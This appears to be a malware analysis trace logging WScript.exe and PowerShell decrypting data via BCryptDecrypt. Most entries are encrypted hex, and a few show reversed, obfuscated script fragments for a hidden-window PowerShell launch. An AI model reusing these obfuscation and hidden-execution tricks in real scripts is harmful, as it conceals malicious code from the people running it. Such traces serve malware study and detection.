"999b6b426762e2999ae2999b6b45e2999ae2999b6b426762e2999ae2999b5547e2999ae2999b6be2999ae2999b774fe2999ae2999b6b43e2999ae2999b6e425159e2999ae2999b7747e2999ae2999b4742e2999ae2999b64e2999ae2999b4948e2999ae2999b6842e2999ae2999b64e2999ae2999b4d48e2999ae2999b6be2999ae2999be2999ae2999b4be2999ae2999b5947e2999ae2999b5042e2999ae2999b65e2999ae2999b5547e2999ae2999b6b426762e2999ae2999b6b45e2999ae2999b75e2999ae2999be2999ae2999b64e2999ae2999b6748e2999ae2999b6c42e2999ae2999b56e2999ae2999b5547e2999ae2999b6e425159e2999ae2999b3047e2999ae2999b7042e2999ae2999b4ae2999ae2999be2999ae2999b43e2999ae2999b39e2999ae2999be2999ae2999b49e2999ae2999b6748e2999ae2999b6c42e2999ae2999b5ae2999ae2999b3447e2999ae2999b4a42e2999ae2999b64e2999ae2999b4948e2999ae2999b6842e2999ae2999b64e2999ae2999b4d48e2999ae2999b6be2999ae2999b774fe2999ae2999b6343e2999ae2999b2be2999ae2999b6750e2999ae2999b5145e2999ae2999b4f425152e2999ae2999b3846e2999ae2999b30e2999ae2999b674ee2999ae2999b5545e2999ae2999b54425151e2999ae2999b4945e2999ae2999b38e2999ae2999be2999ae2999b50e2999ae2999b6343e2999ae2999b67e2999ae2999b5150e2999ae2999be2999ae2999b43e2999ae2999b6e425159e2999ae2999b7747e2999ae2999b4742e2999ae2999b5ae2999ae2999b3447e2999ae2999b6c42e2999ae2999b4ae2999ae2999b7344e2999ae2999b6ee2999ae2999b6750e2999ae2999b3444e2999ae2999b55426755e2999ae2999b4545e2999ae2999b55427755e2999ae2999b3846e2999ae2999b30e2999ae2999b674ee2999ae2999b5545e2999ae2999b54425151e2999ae2999b4945e2999ae2999b38e2999ae2999be2999ae2999b50e2999ae2999b6343e2999ae2999b67e2999ae2999b5150e2999ae2999be2999ae2999b43e2999ae2999b6e425159e2999ae2999b7747e2999ae2999b4742e2999ae2999b64e2999ae2999b4948e2999ae2999b6842e2999ae2999b64e2999ae2999b4d48e2999ae2999b6be2999ae2999b774fe2999ae2999b6b43e2999ae2999b7a42515ae2999ae2999b5148e2999ae2999b35426751e2999ae2999b5547e2999ae2999b6e425159e2999ae2999b3047e2999ae2999b7042e2999ae2999b4ae2999ae2999b6743e2999ae2999b6e426762e2999ae2999b6b47e2999ae2999b7942e2999ae2999b64e2999ae2999b4d46e2999ae2999b3042515ae2999ae2999b6345e2999ae2999b75e2999ae2999be2999ae2999b4fe2999ae2999b5945e2999ae2999b55425156"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "64e2999ae2999b4547e2999ae2999b4542e2999ae2999b5ae2999ae2999b4547e2999ae2999b7642e2999ae2999b62e2999ae2999b3447e2999ae2999b33427762e2999ae2999b5145e2999ae2999b75e2999ae2999be2999ae2999b64e2999ae2999b3447e2999ae2999b6c425161e2999ae2999b7747e2999ae2999b44426759e2999ae2999b5547e2999ae2999b3342e2999ae2999b4ae2999ae2999be2999ae2999b43e2999ae2999b39e2999ae2999be2999ae2999b49e2999ae2999b4d48e2999ae2999b6c42e2999ae2999b64e2999ae2999b6b48e2999ae2999b4342515ae2999ae2999b6347e2999ae2999b68425162e2999ae2999b6b47e2999ae2999b6be2999ae2999b774fe2999ae2999b5148e2999ae2999b7542515ae2999ae2999b6b47e2999ae2999b73427751e2999ae2999b4947e2999ae2999b6c427756e2999ae2999b3443e2999ae2999b3042515ae2999ae2999b3445e2999ae2999b75e2999ae2999b5162e2999ae2999b5547e2999ae2999b30427763e2999ae2999b6b48e2999ae2999b5442e2999ae2999b49e2999ae2999b5148e2999ae2999b6a42515ae2999ae2999b6f47e2999ae2999b69427754e2999ae2999b3043e2999ae2999b3342515ae2999ae2999b3445e2999ae2999b67e2999ae2999b5150e2999ae2999be2999ae2999b43e2999ae2999b30426762e2999ae2999b5547e2999ae2999b7042e2999ae2999b62e2999ae2999b4d45e2999ae2999b6942515ae2999ae2999b6348e2999ae2999b6be2999ae2999b774fe2999ae2999b6343e2999ae2999b30e2999ae2999b674ee2999ae2999b6744e2999ae2999b7ae2999ae2999be2999ae2999b4fe2999ae2999b4544e2999ae2999b77e2999ae2999be2999ae2999b4de2999ae2999b6344e2999ae2999b78e2999ae2999b7750e2999ae2999b6347e2999ae2999b77426761e2999ae2999b3443e2999ae2999b7a426761e2999ae2999b3843e2999ae2999b73425159e2999ae2999b3447e2999ae2999b7042775ae2999ae2999b6b47e2999ae2999b79427762e2999ae2999b3843e2999ae2999b7ae2999ae2999be2999ae2999b4fe2999ae2999b5944e2999ae2999b76e2999ae2999b674ee2999ae2999b5944e2999ae2999b32e2999ae2999b774ce2999ae2999b5144e2999ae2999b77e2999ae2999be2999ae2999b4de2999ae2999b3843e2999ae2999b7a42515ae2999ae2999b6347e2999ae2999b68425162e2999ae2999b6b47e2999ae2999b76e2999ae2999b6763e2999ae2999b4947e2999ae2999b75e2999ae2999b5162e2999ae2999b3847e2999ae2999b6a42674ce2999ae2999b4d48e2999ae2999b7542515ae2999ae2999b6347e2999ae2999b68425162e2999ae2999b6b47e2999ae2999b6c42e2999ae2999b5ae2999ae2"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "wgZlWmzDUlqDtmieqPWwUmWdWaWZDSUmlTPzqthdEDSyRYsSLqWcQODcjPzcogzdwzZMYiDypWqDugzVMDdGriwEPgyMuZWrDypcdMuryvWuPzflPPVyPlvdZfWdWgqWdlWNMWWfhcPwWBPPiYrRPWWZkLoWPlNaqimMWagMYPNeYNWWqYWxmvUjEy(\"eG.edoci\") + vwgZlWmzDUlqDtmieqPWwUmWdWaWZDSUmlTPzqthdEDSyRYsSLqWc"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "MYiDypWqDugzVMDdGriwEPgyMuZWrDypcdMuryvWuPzflPPVyPlvdZfWdWgqWdlWNMWWfhcPwWBPPiYrRPWWZkLoWPlNaqimMWagMYPNeYNWWqYWxmvUjEy(\"exe- neddih elytswod\") + vwgZlWmzDUlqDtmieqPWwUmWdWaWZDSUmlTPzqthdEDSyRYsSLqWcQODcjPzcogzdwzZMYiDypWqDugzVMDdGriwEPgyMuZWrDypcdMuryvW"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "930c6b524505583852c84cf900fcdf1e2e598a1f42572c2de6089c7bacbf24a55d183679f6ae3adbef33d615d67bc2fdd76087bf172defbffde13d6a25bd9da3b916c304ba2959eb168edd628dc473872650fd1e20153d91de7c3ebea6603455b70cdc7da77841e05c2387caf76c43548a5087970f1a91b775232619e41eb61c067213b40fe92c93c139f58275eb54ea8ea7c875b5c3ff5e9b79e6de9cb05cd8cf382a1f1be8c183e18ca818784704cd782bee77f6a2fe8c30029b7c2f1fa4df7850536573fa0d8464db456b43917614f3fe646c6454768dea87ccc287aa4fd2bdbe1e321f103b9cfc2a17e4bd5fb7cfd7da2fcbb0409a929189d5961850ea0ef4e0fe1c06007b58570382753bfe99aa2de1cc341fa2e19e65919156fbe065d3e39a676047cfb5dd6160568923598cf1111063e866b48138309a860f49854f485f7f98fb05efad474c6f7373b07a5183d7b06cc504ae97b8f65e1e0f7d42fa2a0721d42741000ab7d5ef9aa118a70abf549b395959734dbb08fc5e4b3656a06d316eb962e5eeffe28a6eb27c9724ca9c3904af26eeb7e36cc4a29476b5fb07bcae6b2628468f0def61828a7e3227fdfe177d0b4afae18a1c7d2f7595bce5bdab53297aa6d41c87568b3c2c1af4a88412ac8b96114b2fd24353bef5fc934b756713695476979a36e7aa2507173bdb5da1a90af2195258176b931500a8824ced815b2403e74859b648458573a1408cb0c37284e4680945af17d88d2243f9f4facfe6fc90414939fb9df11dfcbece25c81a375d09944b3d6687e07b109a6a9fa2973b29dde734e6be2c0299e9b24a9090a838d67779fc3a5cd0e3590c6ce26ca69d506a3ff28dfbe075812b8d1aaf67e047d2e03166a9d75ca632e35216432336d7652e0a41923d32aa1f73211f068ffa60605f4c3d3dcd4543368ae434f1ddb5e77aa10c0366320be02df2891932e3e28be7a4dfc59ca4fb744e326ba1b03fcf4b0f6a6fdd7c03b94f1793abf330b8abdd0edf25abe470e1a5f4c69e518c94f00ec45e447cc38c2a45c5d09b9edae8d28a384c296c0708ae52e2722b9bdd8775ed26db88e5a34628d3428a092a512ff5e4c2ec101114c7f7c20d6fcd799548945a6e9609795d5524ef3f278ccd75712549140b61b23a6c9fc7440af80399698b2228bd9af714ce0fa8998e61e1631f993cf12da00f0a8c90589eb5f832d5e4df7634dffb7bf4d69402cd16028bd1be69bdff476f935041456d8ddd6d063d1cc31cbda54770870458ed1ff2d6333cb0724c3c1ea3d12bcb5cf9f3bde7159ab225d26d47f34ff21dcda7b2f6aaaf667d23abe68c0e203d2447f17a64270cce403443e0a3e4750466e3b426a7548c736f1fdf5af074948b1655c1ea8cef862b8e761eec0c664d34614a796fa3c8fc58edf91a3f1e8ec31887746756047643514a274a"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "ed4f59215cb200b010f300b889f5c92fd26779ddeca3fb8ae172567bdfe4fc0d73bc35ff5237b7b9322af2906c156d9020cb43bc86bb8042ab765bd93846e254306ff36b7ed15b9469f42b4d405a250257a510656b5e3b4333e3dea85389ce4ef5f1a34dc0442a51b841d7dd06d008ada7b98935fc100fa8033aa1ce2849389471a436a6033ea10b45e35b6176ae5d16e61458548ff255f758d171f3c97b67d80a0a8828accb36c1843039d8c186bb4871c69c2069b55d63d7d0f3b53a0a8a0f765c3164a069ef94054940187681634d6bd9b40f29ff2c31ed3ec6ab842c2693a00552d330b4dc9ee2cfa417723c48240aa0bf0885c256c731fcd779b17611d6ab3ba8beb0268cb3ac72695afd6e1465588c13222c06f343520efd61b9a8b9b1fa6088c75338c784e8afdee576ed3afaeb08b383c41041f9833d98471bd2bcfd3fac468e394eb47487b8ca39d7e85aa9e05ee21b342167444efa4834a9802a49fe85379da76b3da2dd0df5dcd99b84475cab3f043960f5b365b64c40aba20809d7223cffd60a708c3fda67c8e2129323f9751ccabf20c37b44d2cf9a2edbf3a9e81a3fede95c3bf7c1716c406ff96c4255ac723636095b144882062b23a628b045b30b157effed4d92868f4832a1cbfd180f8398ce2e80565f2cce36cc60b5f2339147b7b8500006fd50af1112959a8b35d2c8e611d11c65a7914cb9da2b5f96a20ad911775b9ffd827bf9408647989c1b5b0feac2d94aedba8b3984f9ec6b921a37451edf263422dd3a1d69f636c47cb290c33067671db4dfbe19943580e8013da0e69b46b99f837715f1bfff1bfffbbfb3efbe5bf7e7c97442611f23aac9bc4c3eee23083410ad263185f7735b29eaa62aea416489b275ba2912a9a347bd37914e43008edf60f14ccbc7a18d692795992a86718a125aac6a9e61e335fbf2c5dfec67df82cf30fc09b8d06b6d60d42314fbb39701f7436bd565af6efd44e3ebbad4918c5d5246f819dcfffd15a34991ecb84c59b125f39df78daf816975cf0fa215b76981b5d6486b7c6acd651e544fd7098cf9f8153effcabfff271fa7f2975ffcc0ceabc720d464ca41e2f0d7c9e0622de1e80e71f67e333aa6c94fd0405add5a73c0fb938d2d341862ed1bb3dc616e74d62e61b2a0a2325b04333ebb155d3943b4741edc7b7c6a69789e3a1bd51c3b45a577b5acdb1a9ffd0328b943e524eb9887ea2344521f147033303a4cd8b542ecf0e9421789aacda030c6a18c1a6924ceb1e99ef2d9dbac5b0e6ad93c7218f8bef0bffb95fdf28bfdf22312c67c44d3a884dda6a5137d8d7cd143c169b42c363da6f2e2833477d60e210d86e066f485af0ffeb49c19225902787c64b8f78abd2438ae9a1fcd369cf67ece2bda25ee85589b8046b630f438c903b5671d464fdcd45fae160ab4682307d721c3c02c3a"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "c227cb9cb7368699f71abd723585331a4c534a65cd15f1600fb0e6c4d148e070ea6ed753c761252dd75bab63b53950926304df123b964ac310d4e5d3e05d16e92fac79f905e53a0f3e423db62cfbba8c76265fa3c6f833dc1f3620a659af864092a214590f3cb9043cc2916dcc9ca6497f10b245c62ec6aaa02d9c07295e0d692bcbc2b48d6d5a34a6742dca0e2054d811f563ae409368d011104e3535e45bbf7b79f4adfde9e5f3cf412eda4333cc5832f7bba7acf549dd88b4cf9fbf7bfdfa777ff8e9a79ff759600557c064b607a113844ed594283a87a5dad51c5c4a1ae3e06f250a607dfcbfdffdcabefbc1bffbde3f7db6b5d7511448c67c0e9ce31ecdeb383c8880b08ee9cf7810bdb4532ecc53bd04e825ea71979ba4501577846a8990f3483da657b433ec019d85183b1f9650ff969b6abbf06dfa6d650ea5815995a746b6bff811dbcfbad0bc07c2793d4ce8cbd39174546cb9044da67dbd2498b8550bba0407b9ab1f09a66f026e30beca552373d712fe400ceadd9db4161a8a2ad207309f5a7821e2a838c949c7283f4186fbb271cca482280987cac4a896321868d4a50653b5e94039a82ead93a8c9264de4dab7209e4f8eeddb3228faed8065507018f3a21a02948568dad0b5d3e12ca9d1fe03f1e29bb303c1db00caae9ebc56435919ad86c7180629ac7317fc3a3567b7d17962fb652a63d2093cb7081e9cfe075f04ae6f42c1b1f313934bbd7e0ca3ecffcf847b4ed4c75a5ace9cf1c1353c307512bb825b9c26692f5863ddb7b123204d31c9320c7ab76d8b6cfedae40db31437880e7d7f470ee1eb281fc5fb0758a123633cb1794c2d85702b6708bb768a3c7c24ecace5e3914b6af256be9670f6cb970bfaa46c8f9185ba81791d88130df861de5c2e89ef6d3109cdb5cfb83f9057c7b8f8c112914d3476b7d0d0dc3fa7af3ddfb114f1f032715aed7de622d171014a5cad062f00aeb04336883d5c1463f78b7051562f5318b787a811b9442abe00e7ffd03cb10621918bb3d12ccf04950acd5c877d8ca4cb5d022251a55e9c16cda909d2673be4208804fc6f5e5b4999b75a83b22e95247aa7f1aeae24cdb8d3376c6d81f99a27435b263a15caa0546b04a0e685555660bb2944b52077564d1c56a8c0d45418783fab0b47773313f761b2a675bafe7b54e781198bd4992aa1dc878ffb407ab4c097129ce3fbb54e68b24677d43d71e0efa421bcf1de68da6bdac2c41c43387af139622854e895c93fb6f74c2bbf549b8945f68d1bdc1c45810235dfeddcf287b1e9fb294debf9d7dfee9507da7b7af55e42bc65f1448ff051af4ffffeef1fb25c0af0ff508a3027faf81d83734f5b5960dc48868006710c2f6a977897a36b8b62030b5d59d8d70bb219de16135f6e410d53c6f3acc37283b7dea9354162869ab02b60c17c8ea74105"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "2aS"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "Sc"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "$7d,"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "a9fcbfdc72fc7b121b078502cf61cc84628d92ddffe47559df201dd87d7bf2a3fc642a613cff03594bb5f6e551ecc27d1fbd924c7fc03234cd06a0ba2098f22db2e9f2022dc9ffacd13756e498a71da1bba11a0691dec664870c9b50ff5df9aac89c3cda16082408cd86069a4c2f82d774e8c75054d703b3bd942a15054ca76bad21e0f323ce8cc5ac740bce909cd2c68d493bdec3b2ddaa8e3c7fce680bdc8dae67b91bfd177d7ffedd9c11019f30fa8cd9e36255991b5221bc40a60655b772af3aac80f3312c3e6a98e34a5faebf74a570f96084890207ef5dcb14fbeaaf20afb425d49c591f8ce1b499b4325148f7fade44777ec4d5669ec37a100034ea521ed9d3c2e27bdfb78a4d368e62ee7f3f13f31c47144619fa4faa18bb3d2155b315c351568ac0468caf4c421b352c9118a6ccc04949748604e646ffc94089aa5d24298645940904a3f05e44710f6f924922bc072231f9f5c4019d110715dea40545067670f2811b8ae73d618810a2479e7cf10eed84bf622d72cdbb64ab836249bdd02af9f678c335299aba9c962c9557336558becc5915dc43bfcca9981a111a68058c1dd568f457b1da0ce93ebfd2d263a3978a63d6dbd02cf9ded5097abe626122186d1780a87d5cc33304313ec2e8e074de0b887a86fb0e8df21aa0e55ccb0eea8da86c979265d8f7652c268c91d7bdcae26ea8c8b3dead904918a0cd414b913141b1d9ef40a29a40c1482407b6b4e0ad58dae97575feb4bb17ffc5ad12e96bbdbda839c0593e522ff47267985bee1464c0c7cff971e6b81ffd451c5b3485c44c54d1129e36101e5973bad85ce79081f085aca410402109abee4c85132ea400e9aa91a9efba3917021dd980957aadf2c37730ce5de71ca27e0e3d38eaea5febe84b3ef638d750dbbafa9947dc3695e20d5f6f1964ef260657bf58d8e51eb78eee0cd7d01ff916ef5adac29f7a090e19582d7c10a0ffecf77ff8f9cb179f56f22619741528e2d150fe542d8802a97bfbe0b8e829f917ff75fcb3ffdcffdfffd37ff959319e3d3b4b794f4c35d4f9e59d9a455911f5573e1efe4f5bfddba1bb25149dcc08b9d2f47f471c24307b9a1e9c80a32380691404b2b53e7edd1038989baca58d5b9c401e0180da4cc0d5de08a36d78da6851c684bb3b25215fc2b10c2b7f8c87125fcd82747f180a65d0b3529739acdda7d85a25a32db847b4e23a2d9be580ec3a14b9a24e0058e8e5043c6d93a5c6cb0219c17dffad530f87c96c1928a303d442a2767a7e9c218b29055b9b92d52c194140b7d566b55f334b6da38697cd157d4ef58bd586600fda762d250c1ca0ef1794b915fb129f992b6862d37a8912ed67eba73d6955c33490f48444a1fa9cf6b55b331db58d88b9cd0a4662853ae44c1e5deb9b7293d1a2e2623bfa336ed7487e8469235e3d5e794855569ffa"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "8eb94424c7c80ebba40da401e83efcbb3210dc293ccd8ffaf223a3f770001af463e2b8832e6a31a57d67536f8ef5829e758b7d55b265aeb684ba1f0b0907d8bcf498127b2b0932e8333b484d5e1f7d4be45e8b47c0112cda98227a50d7258f42adcad24ea3a9ca98a6d9f011d57db180188c916da414a2d0738c621d3e547e1835eb056c68e26df908fd868d457f5abdb9ad2fe9f35a5cbf7bcdb7602e77dacd9b5ee9718e301852db07b2af6936abe279499772708042d96c8134410e38fa1b1c79b25c10cbf8d84ad45e0b1871600b1525471eb7a2621dc3a320fc068b6498395976f64f76a60931ed5419f6deb33e1f91e6f50920f1030791bfed3209787f9fb3d446b428ca3a071f02a177e9d181716f7db59328831d765883076477795fa3e431ec7d98a26d776db3e660ab366a74c5872aa14389204745d733f0a7aed418410815609470a9d5cf564f8b437b0486086e233dda201d5bc2493ab4088c33f152145570df7154d6b2261faa959423c44d40f78cfec06bdbca78be528a1a55bc9dc49ec3fb82dcb3beadcca24adca93fd0322ba31ea7de8c864d3a3bf5b85b2477d5415d3f858e9b984df0feeda52dc14452508b0fcb30dd0709f147160b4afe46f1155aaf8c6c813a5eaac214e17edba443080aa9e6200fe5b00a83c0b42adac22949a750be0c0611c6039bfab69852b4e19805ff5e3a471719370304b59e3f2538c32dc3a3a8854a211a273b2c9ba579954cf91146e7ca6850160c470237f086b206e67e6a42a91da97f832b6ec7be3feceb17bf2e194ccd5277f0a5fc5dfdfcf68b2d5bec5b35ec89e39841c1ca847ecad17263268dd7a01faa642fbeceee3ddf849ba068893e2ea2ead2231f4f96a088218a074da8cbdd8d0d500dd67b9154df60eaf82b2573d5f1f5a4a88b0f27c91ccc78a285cf24ca0f32e7e3ebb71f7457c2e0eb5428d75a9ab61e328d8404a483929c5a136e415314bed96985d5846a78b5c8d8056d35d5420a63efa1f16e0cded9cf3ffe31be7c793d633412fb20c58ca9384729aeb311eaf3b8ce19c17776ac5d017669ad952275cf01b52bae654e4daa1d989bd05a858846f38810e5e552948d5c8f190118b030517db5313f26a923d72044381ed22c7d34c2c8e16265b6e4ebe36a4d58ec016842ca19ddd6fc24897b0c76bb8d4ac111b3f82a493c94648f44cc22606411dcffc1ab6bee91b42b03533aac72f2acbda4eea2b7f0973de62a3aa2b78730abb9e9c6b451692f432725ac8a940ddd9dd5758b2770e17aed9264c382fc9f47819d8e91636ed48d08c0522d5b257d19bfd564c2714d862027490bac0550ad214b1a855cb531a116fd681dc8d6ce186a5b4ba58a4d5cfc6530981d3ff448d762876b23af97555d8d8e4b4d189a3acfc51625d430048688f235435527ab0b4e21bebceb01fee38d81"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "6ae300ecd9414b94b13edab950f9d9f20705d4d4e8d76b1807dbbc615f1dce33465e6042801cf1f44ef8b338159bb1119c2400296bdf546b7daaadcc388bd775102a826a9891eea9879e30ff98b5facfb4f9245829e290bc7d21594288a8fee4e9747fcc5d7998a26302b22924ae96e2ca0773b887a11f2316136b78675469a9bf047a1dc2cab1c3c692cc82a062ca4f8fa88dfdb699b2b4e7a7d142643cd2f6cca01c4ad4073aa1ce695d0686a7285da221c859878eacdba0136ac6f14a997b9b86e08633e7c3049efea6964afb8201e9ad906622962c4a86a25d5dbad345a952c988a9f59572c2bd92b51528d3c38d75f05513a37340f1eda14ce33e4b73a0d503dbd6441bebd1e5fecc7581a4d4e9632590c5fdfb4f9fde7efd6ffefea79f7e76b7e7ed7bbde714d7620037819e98460d256b6f9a4bce2c0af407a54eb6dc7eac905c3510044f186497ebba6a647a0bc32bd4ccf35fad28e6f483c329140e3f6d3d36b14f1e3291d4b21c5fb1843d9da53cc4d0fdc28fa7ea69d033bc99fd7dd0a1c5fd2cebf7a9ac05fb8ddbbdaac222dedede54264054b1641f6031602ad736537b155176828c38669ac8815a98db714fb31b0316656b68c53530ecbe76ef55ba8c2e3c53b7f6b04cf6cd87f797fe3a9b1f451bbd41e97f31e5ca8863f4d3b6be4cd2c3a30ff2b46c51e2ec3dedba639e0a595707339e12543c6b8df95dfe39f261884c2044b7edd357201b6eee5e28b19dd5b582ded64e1c306321c0b1546b676781f72872cdeb67f1f73cf6ea7c0d3f48e6925ea9c392aa7368c28ae0940ae6d470417bbeabec83af5f5a11f47b944474a01bf090ddccf859981f1bd3cee47564809a78587552e6d8646328e470b81e646e97ecc55188e8c13b371c87bddb902dd5d8962b7d09d1e327bdddd26fc427fd6ca1fd61729a264b9eff4b4ab14c933484ca918dfbad8c7a8bffe6bff3bff9efdfbfe47ffefdfaf2934677afae9622182fbbe70878a525f3d4858177d75815aeed7b57ba1a4038ba5c20dba10c467e4a1f86f546863d30919a307715c989d6371cdacd530caad7054b3c9c94c5f2bc25da42eb69126ae84e71f12c2abd26c01b1857bd7d77bd7db7aeaf3df7bc3fcfaf5ffcaf7f67dfff603ffec1d7dbb4eb712668718c8f81718d612dc86bd68217eb466f4633ceb9f3bb6aae31cee145d9072c4f9d7810d3f5ce05f551255fa56b0c58481125539f7f4d4e07359919280e4cbbbaed0d2ad86d2b1a5144483f0fbe5c66e44fdd5f775d6deb8e3953b01366f73caf7019e5136ba3d9e3cecc860fba3491aa2d1bba8cfbab7c5b8834d1ee28474b87774c9cc9f18175a72f9d111804744d9350dd9da1b3135e08db5257a170d8cf8dc5b76fe4973fc40fbfb59f3ffb4dfbae5913e7dae8c0ee76376c9a8264cd2a432e9aef17d61206a13c1c"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "5ff893679db286005c17a88d6060c4fd4859d61fc47e4157ead12b002a427390f272335b93cc76cac59a48895c13e5a5b9401c557254cd4c3523ee1740896ce85739fff70e186d1cc37574037d99fc7068c93946cbab5b22c6ed92c4a476b9f56ecebc597dd044df04f1f50aa0b2b1c1457e338bd6e7bebcf93665fc1821c6ae5491d63144528923dc732edfdbeafdfc36201f4df7e93d7e6d65decb994135374e570fdc26e2d802af897394ca7ff0a4cb9cdcb20e1682e352b4abbf46b09a45e0e1f2262afcd4066fd6b693f76473a39a03a838dbc380eca6a1536250996e4dd9851f6c3f220aab0bcbff0a512b70e9ebac9571e7144347a1924d4057b0418a8fc455611ce2615d2b97f54612c3e40d198c9d253dfce85e2ab4598f86680042d5e4a41fd547e3ba3b1d9d53d10c16e0329efa44517305403514b14b715ae343619eb97036ec4c8d0cbe5cad57fd028f033d398bddcef4ef8a851628574b47935c9d27b011b8a59c9aba73eac7c2375d2e00f8d47e547d6e8a22662040862ece40e9b6efc65aa2c955d3ab96a8c84cdc9d81de64c5e8e7ce3595227f84a543ddfd563d671acccf00f486bae289382e20746afaf23626ce1a975d160d8880d88bd1b7478b18827d850c4931ef37ef7480c3f37270b653175919aa8fcb53a98519f2a4d5a564c2e73c031b17bafb50b72e6b3cd331b873c092ad651343836170556436499f300590f21423da354c52ef3be1350e5415385b88cfa659a37e1107d0d25d5dce398837eba9d7d132a34c039cad09fe285dd0ba5d2d6a4eacce699a301fa0b9ee7cc1504637fdd5eb5ce53356b45f2fb39cd3973c05b25d7f43b9fd1bcd7779d363833c024fa6eb703268f6537d1405ac2dcc0956de26aafc6bd6e55b35e5620d40829ebacebe4d2f034d450073651970593912ea00c70d212a556315b937ccfef7c14ccc992ff443e30da32df2594107413cc44524098bea7ef09f3e5843269eb8b6d352074762b0d7e15d1053e6716aceb5fa30889948d1dc17f531ec1e33dc0eefd861f5874fa7a36235c43648a6c00620a6b736518c67bd1c0f0a72aa0f7595d4bbea3d2b1b271fb544845017eca52729ea3c2cec43535bef29c3d00cb124e79e5d49a2f9f66c7ce3c6b61a2183191cea3203769ab62287da7a905efb474666bfb0fd5397880a67bf58518301293beb8e721dd52817b438024c395ea287719300358b6b7fd1781d05bdddda333d7c527a942a5c3a14f31960e3d6c12b75a0e9b4649cea445836e2f099017b1d8691ea97314daf359e749a9822c71ffff887af7ff9a7bfffcb5f7e76f9eaa65a3d18d694dd4def35993aa4c7cdcca3738c8a59f92229a31a1d2be19c5ea56e75a24675e8b4f25c0a99a1efd26483beb4992a5c7965dfd83468f2cdbb714178da8706494fbe510f0312c96f045b68"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "ecd2d7f5f09ab5b1cbb228b3da9307f9db7ffadec4807e87b965ef4ade9bab0298ea58dcca8f4678f7e13e871dfb74e3163d9c6715933ec2045190aac4b56e9ef4e8a47604feb2ec131e98bbf7aebabefcf21a57b59d8aca6f7376e029e82cf53c43fd5a9a9ceeb6db208bad8a1fb8d1f753fdf53bfff517fbf33f910960c2aaecb95806a6836ad0176446451b1afadb1d031a18961ddd674b7d054a414fc85513f34db55f3ab90ca85edb6017138cde2b488a944333a3eab81bccb17794d738a638a1665e0fede731fdf33fc5bfffbfbe176fdf1e86270351b3136ed0353bc7821179f53e6c394a032db8d9d40d33e82e8b54534dce5f77b19ab7ed81dc7cc9fa4a8823d2cccae2db9b2dd835e77d87051b94cbea17431cf47a57c8d2e1e61ff8edfaf85ac9a431bf6a95d5d9c65a3434cc17b392da8cd66564b786f722f80a95cf9a86e7f80f22088d73c91697c14c87f34ecda1d1ba98069b36654b23d0002ec63876e135bed2525fb1e77107b62eb7bea9c6a839bd35f24da446ed73b0584bfb75cd59630a408acea940622c62e99c4415cd5400eb0d4bf47104574a6f03320010dc0b1ab1c1ada375bb20570d7d234200d37d9df3c2c2c0bcbff813315880ad9a9689ef4be63e8d488e00494ad3e999cb200bb6e170edd23789f9dd59c2aa64505a3bc346548dbf7cf8feac3642abe88361a3d2005e55361969142c184499cf8352f116f1273cb373b01a975b3ab526aaa476215b274dfa373734f5a834f7607e821e19449a6b925dde17a9565c35eab119979403401263bce6120289e02c74285d5c972b2dc292f3f99ad8aa42a9ddfbb52423f96939410f9012460513bf8fd813d141f2482d33a5b3361977b4432fa018e3f40c06246c45382b762626c5296e45d30c8e8d204b56fa90bd6c094afc6a8f8089ddd76e59a389eaaf9771b578e22108f4528a37f5adabf5c5c0fb14c2f58df0e15aac4aab586ef2f5b58bafbd70ddfec16d30d3ba573cc7a22b723041bd59d0ad121b220f8d2561c86f52ed5f33c668dddee026d3ae7c914aec677325b268242a567fe18c4ff16a42d39ca6b87b29286432cdcfbbf7616689dabd051dd7c3fc63f083b7d567f55cdc76d31e6f4ab80ffdccaae3cfdb842dcd06b9f558e506dfe157bcc95db797b511b0bbae31c7e91defaac7e315aaa247258d45271059e50bd3e7a360a8cf500bf6219ca22b8a69963b9db3c43cf96f3c57fb538161d0c92de9d9656d6c45b519cf8576718c8944a4bc9e3a1807b34645158beb8d907d9642a1bcb36fa78580c5b9eb9e0e75a0c4c35a4b818fe80da1fb640bb5e81569d171987be56f5cb0d92ae6c05eb983054d30ae6e8266b7e60882e322d3d2517820423ab374b69f30cdead6c99e147b6b4da2f25fafd08c9cc19e4f2e08bed3e321dc44aaac8e33e70b197ad234"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "73d239f521d70ba28fb820dd268a02ce1b09a2ca146940350ef7543cb5b7060eac962ea58b2b424151c3cbedc9db9f6d660ba0554c15da479c1a1efcc144052e7db56b8086d8fef27fdfe7997d9b730deca3d6aa7e3017854aa72d760c0f99d4850784dd4257b2eec57674f6a429d01ba2fbb80717dfc37d37b4281085e70a03aaa9f24393fc1db0e820eea3b66f46398a063b9c37958b18298ca326ce1a6a9aedd9e2b9aae05ecf2fa5ae85100238251f874f9f3ebdfdfc17bffcedef3e6310d9053ed13850259a1f08611f5ecbfda4e6c278922b9d5b8d9b20056c20c5b2ef5b1357852e6ffd851eacbf4b0b1f7a38b74cbe0e44cd07b711aa0839d9d6b3e2956c3bdda41691bb306c635c34ccbbf8f7718f2f7bb6124f4ef1784ad69048e20641b47be6d0460df7c84153333b90090a100d2e1a03b032446dd63f3f52a814759cbfff9fb7b7f88b7fbefec5ff61f6cdee64e42e484386201f3bec2986d674746b6e81cd242c01411d70dce2ccbb3aa562fa9e153cea549648617cd789efffeffd395bd61afa6bb4317c0df7543d55d1938a878d791fb2f1a09d1a06884a7e2c6e315aeb923edb0581f2c1273525b36ac208fdbfa613231748b9ce0b34acdc917f67829cd94aa985a578b4e89cf44741d6515be6f5de716882522cc0523296b0a89f34e4a5aeed2b83816ca2e39e07df83fd5c35c1de7fbcbea7908c1b26e59a44fd063655eb2535c8d1926b3cab9faed3a0217b9fdb0b51d7de8896511657bbb52e2404d5f6a83efd3dbcbe1d00612c4416e8b657893974d65bead555f606